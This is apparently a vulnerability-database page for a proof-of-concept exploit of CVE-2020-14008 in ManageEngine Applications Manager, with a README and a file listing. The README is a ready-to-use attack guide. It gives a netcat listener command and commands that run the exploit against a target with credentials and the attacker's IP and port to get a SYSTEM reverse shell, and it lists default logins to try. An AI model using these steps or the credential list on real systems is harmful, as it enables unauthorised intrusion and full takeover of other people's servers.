CVE-2020-14008 PoC — Zoho ManageEngine Applications Manager 代码问题漏洞

Source

Associated Vulnerability

Readme

# CVE-2020-14008 ManageEngine Exploit

## What is this?
This script exploits CVE-2020-14008 in ManageEngine Applications Manager to get a reverse shell with SYSTEM privileges.

## Requirements
```bash
pip3 install requests urllib3
```

## How to use it

### 1. Start a listener
```bash
nc -nlvp 9001
```

### 2. Run the exploit
```bash
python3 cve-2020-14008-exploit.py <target_url> <username> <password> <your_ip> <your_port>
```

### Examples
```bash
# Direct attack
python3 cve-2020-14008-exploit.py https://192.168.1.100:8443 admin admin 192.168.1.50 9001

# Through port forwarding
python3 cve-2020-14008-exploit.py https://localhost:8443 admin admin 127.0.0.1 9001
```

## Common credentials to try
- `admin:admin`
- `administrator:administrator`
- `guest:guest`

## What you get
- PowerShell reverse shell
- SYSTEM privileges on the target
- Full control of the ManageEngine server 

File Snapshot

 [4.0K]  /data/pocs/bd17b04d00ec74b3c30ee0829be0a7d0da4de6f7
├── [3.3K]  exploit.py
└── [ 890]  README.md

0 directories, 2 files

Remarks